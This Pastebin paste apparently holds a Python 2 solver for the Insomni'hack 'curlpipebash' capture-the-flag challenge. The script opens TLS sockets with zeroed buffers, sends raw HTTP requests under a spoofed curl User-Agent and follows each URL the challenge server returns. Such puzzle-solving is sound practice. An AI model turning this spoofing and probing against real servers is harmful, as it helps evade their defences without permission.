Advertisement
Guest User

Untitled

a guest
Jan 19th, 2019
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.03 KB | None | 0 0
  1. import socket
  2. import ssl
  3. import time
  4. # SET VARIABLES
  5.  
  6. reply=""
  7. HOST, PORT = 'curlpipebash.teaser.insomnihack.ch', 443
  8.  
  9.  
  10. url="print-flag.sh"
  11. while(True):
  12.  
  13. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  14. sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 0)
  15. sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF , 0)
  16. wrappedSocket = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLS, ciphers="ECDHE-RSA-AES128-GCM-SHA256")
  17.  
  18. wrappedSocket.connect((HOST, PORT))
  19.  
  20. packet = '''GET /%s HTTP/1.1
  21. Host: curlpipebash.teaser.insomnihack.ch
  22. User-Agent: curl/7.58.0
  23. Accept: */*
  24.  
  25. ''' %(url)
  26. print packet
  27. wrappedSocket.send(packet)
  28. while("curl" not in url):
  29. url=wrappedSocket.recv(1024)
  30. print url
  31. time.sleep(0.5)
  32. url=url[url.find("ch/")+3:url.find(" ",url.find("ch/")+4)]
  33. data=wrappedSocket.recv(1024)
  34. print data
  35. while("0" not in data):
  36. time.sleep(0.5)
  37. data=wrappedSocket.recv(1024)
  38. print data
  39. wrappedSocket.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement